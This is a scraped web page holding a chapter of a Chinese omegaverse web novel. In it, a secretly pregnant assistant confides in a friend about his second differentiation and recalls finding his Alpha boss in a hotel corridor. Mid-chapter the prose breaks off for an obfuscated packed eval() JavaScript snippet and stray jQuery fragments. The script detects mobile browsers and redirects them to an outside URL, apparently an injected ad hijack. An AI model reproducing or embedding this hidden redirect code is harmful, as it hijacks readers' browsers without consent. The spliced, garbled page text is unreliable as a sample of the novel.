32. 错误的开始

作品:《Omega小助理他想带球跑

    余瑜最后还是来找了舒辞。


    有些话电话里面说不太方便,这么重要的事情,他不看一眼舒辞,确实是不放心。


    “所以,你真的怀孕了?”


    余瑜穿着松垮垮的衣服,盘着腿坐在舒辞对面。


    他出来得太匆忙,衣服都来不及换。


    视线落在舒辞肚子上,看一眼,收回,看一眼,收回。


    舒辞无奈点头:“看不出来,才一个多月。”


    “好吧。”


    余瑜撇撇嘴。


    “那你准备怎么办?不对,等等,我好像忽略了一个关键性的问题……”


    “你不是beta吗?现在beta怀孕那么容易了吗?”


    Alpha和Omega在一百年前是顶尖的存在,不只是体力,更是因为他们的生理构造更能繁衍子嗣。


    而对比之下,beta之间的生育能力就要逊色很多,结婚五六年没有孩子的beta比比皆是,能在一年内怀孕,那肯定是上天眷顾。


    他这好朋友的样子,可不像是在一起多久了,遮着掩着的,更像是一.夜.情。


    余瑜可不傻,只言片语中分解出了不少有用得东西,看着明显僵住的舒辞,脑中突然浮现出一个大胆的想法。


    “你不会是Omega吧?”


    “不对啊,我看过你的证件,是beta没错呀。”


    “刚进来是的,后来分化了。”


    舒辞用干涩的嗓音解释道。


    余瑜:???


    小兄弟突然变成Omega了。


    “什么时候?”他脑中突然灵光一闪:“不会是大三你生病那次吧?”


    那天舒辞消失了整整一天,本来他还不在意的,毕竟这人经常出去打工,很晚才回了,可能太晚了所以随便找个地方歇着了,可是第二天专业课还是不见人影。


    要知道这老师可格外严格,要是点名点到舒辞不在的话,可是要扣平时分的,而舒辞还要拿奖学金呢!


    好在今天专业课老师大发慈悲没有点名,余瑜下课之后立刻给舒辞打电话,打了两轮都没打通,终于在第三轮的时候打通。


    电话那头的声音虚弱无比,轻飘飘的,被风一吹就飘走了。


    “我没事,就是有点发烧,医生让我住院两天观察一下情况,害怕是传染病。”


    “我亲哥哥哎,你倒是跟我说啊,你在哪个医院,我现在就过来,你在这又没有个亲戚朋友之类的,谁照顾你!快点发我。”


    “真的不用,害怕是传染病,到时候把你们感染了就不好了,医生也不允许别人接触,吃饭不用担心,给点钱会有人愿意帮忙带饭的。”


    舒辞哑着声回答。


    余瑜急啊,可是没用,他又可不能挨着每个医院去找舒辞,还想说什么,对方已经把电话直接挂断,只留下一句请他帮忙给老师请个假。


    余瑜:“……”


    我亲爱的,请病假是要医院证明的,你没给我。


    舒辞当然也记得那次,永远也不会忘记那天,本来只是去打工,结果突然信息素爆发晕倒在地,被人送往医院,还好因为是特殊分化,信息素暂且不具有诱导力,才没引起暴乱。


    那三天的记忆是模糊的,但感觉格外痛苦,余瑜给他打电话完全是靠意志力接听,后来发现自己撑不住之后立刻就挂断了电话。


    回来之后找老师销假才发现他根本没请假,支支吾吾遮掩过去,回到寝室被余瑜劈头盖脸一顿骂。


    一直到期末考试的时候他才知道,那两天都是余瑜帮忙答到,舒辞同志满勤,而余瑜同志旷课两次。


    想到上学时候的事情,舒辞的眼中也浮现出几抹怀念,大学虽然累,但总体感觉并不糟糕。


    “是那个时候。”


    “二次分化?”


    “对。”


    舒辞点头,他去洗了点余瑜爱吃的草莓放在茶几上,余瑜的目光跟着他来回晃动。


    “二次分化也不是没出现过,只要跟学校说,也不影响什么,你又不是读的限制性别的专业。”


    余瑜不解,为什么舒辞不愿意说出来。


    他说着,递给舒辞一颗草莓,被舒辞摆手拒绝了。


    草莓甜里透着酸,他不爱吃。


    “怎么还是那么讨厌吃酸的,不都说怀孕的人会喜欢吃酸的吗?”


    余瑜一口咬下去,含糊说着。


    “不爱吃,没有说是有其他原因。”


    他垂眸,低头看着怀里抱着的抱枕,是一个小怪兽模样的白色毛绒抱枕,忘记买什么东西送的。


    刚分化成Omega他当然是欣喜的,性别在如今社会影响不大,即便还存在一些潜规则,但他相信自己的实力。


    尤其是,岑闲是Alpha。


    即便Alpha和beta成为情侣比比皆是,但分化成Omega他也会忍不住想这样是不是能更靠近岑闲一点。


    期待的心一直持续倒夜里,被噩梦折磨得惊醒,他坐起来拉开窗帘看着寂静的夜色,没有星空,只有暗沉的黑。


    掩藏在记忆深处里的话随着回忆的海浪翻滚出陌生的话语,让舒辞定在原地。


    “岑总,听说您对助理的要求很严格?甚至有传闻说您有性别歧视?”


    “说那么多不如考虑自身实力问题,我认为我的要求并不算苛刻,至于性别歧视,我的确偏向选择beta。”


    采访视频轰然中断,舒辞的手机没电了,后来也就忘记这件事。


    明明只是偶然间看见的采访,可是过去了一年,翻出来时竟然还觉得清晰。


    想到耀晨集团的招聘,又想到现在的情况,舒辞犹豫片刻,选择前者。


    岑闲的爱情落不到他身上,但是工作可以。


    “好吧,看你这个样子就不会说,不说就算啦,反正我要当你孩子的干爹。”


    这个话题是怎么绕回来的。


    “可以。”


    能给孩子更多爱,舒辞不会拒绝。


    “你身体状况怎么样,我记得以前上生理课的时候老师说过,Omega和beta不同,在怀孕的时候对Alpha信息素的需求格外强烈,你呢,没有Alpha在身边安抚,你身体撑得下来吗?”


    余瑜也只了解过大概,他来的路上倒是搜索了beta怀孕的常识,但谁知道舒辞根本不是beta,一些东西自然不能相提并论。


    “还好。”


    舒辞没有透露太多。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145977|163307||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    余瑜目光质疑,紧紧盯着舒辞,面前的人脸色并不好,一看就是刚才哭过,眼尾还泛着红,脸上有一点折痕,应该是被什么东西压着,还露着红色的印子,嘴唇白得不像话。


    “真的吗?我不信。”


    舒辞:“……”


    “总体来说还好,要是真有问题的话早就进医院了,你来家里也看不见我。”


    也对。


    余瑜摸摸下巴,“好吧,勉强信你咯。”


    他一直在舒辞这蹭过晚饭,看他打出大大小小瓶瓶罐罐仰头吃药,好奇拿过来一看,文字他都认识,组合在一起就不清楚是什么物质。


    “吃那么多药啊?”


    “嗯,营养有点跟不上,药物能补充点元素。”


    “噫,还好我不生孩子,我还是奉行单身主义好了。”


    自己不想生,也见不得喜欢的人生。


    “挺好的。”


    舒辞笑了笑。


    每个人都有自己的追求,他能理解余瑜为什么这么说。


    ——


    舒辞是被热醒的,昨天晚上睡着有点冷,所以把空调关了,搭了条薄被昏昏沉沉睡过去。


    听不见蝉鸣,深绿色的树枝随着微风摇曳,昭示着夏天彻彻底底来临。


    舒辞抹了把头上的汗,把被套整理下来丢洗衣机,又去洗了个澡,才清爽起来。


    一切搞完,已经不知不觉到了出门的时间。


    往常他早已出门,可是今天,他坐在餐桌旁,戳着自己还没吃完的面条,抗拒的心理达到了顶峰。


    不想上班,害怕见到岑闲。


    不由自主想到那天晚上。


    明亮且不寂静的夜里,舒辞站在酒店外,身上披着件厚大衣,冷得打了个喷嚏。


    距离岑闲给他发消息已经过了半个小时,聊天界面停止在五分钟前,他跟岑总报告他已经到达的事情。


    不应该。


    虽然大多数总裁会摆架子,可能不按时,但舒辞跟着岑闲三年,他很清楚明白对方是什么样的人,即使有事耽搁,对方也会提前跟他说一下。


    担心对方是否是喝醉了酒,舒辞想了下,还是直接进了酒店。


    寻找了十来分钟,总算在酒店的一个监控死角找到了岑闲。


    此时女人正斜靠在墙上,红裙上有一小块血渍,比红色还要深,精心打理的头发有些许凌乱,波浪直接披散在胸前,脚上的高跟鞋踩在地上,像一把锐利的尖刀,手腕处的手表折射出楼道的光芒,正好晃了舒辞一眼,下意识瞥开视线,便看见躺在地上,衣衫略有些凌乱,明显已经不省人事的Omega。


    舒辞:“!!!”


    他是不是撞破了一些违法乱纪的场面,看向岑闲的目光复杂且欲言又止。


    手机震了两声,他低头,是岑闲给他发了条消息,让他先离开。


    他甚至以为岑闲发现他了,只是偷偷看过去时,Alpha始终低着头,肩靠在墙上。


    看着气息紊乱的岑闲,又看着地上不省人事的Omega,他不知道那是谁,也知道岑闲的状态不正常。


    如果他走了,岑闲会不会找其他人帮她缓解,如果一定要这样的话,那么那个人为什么不能是他?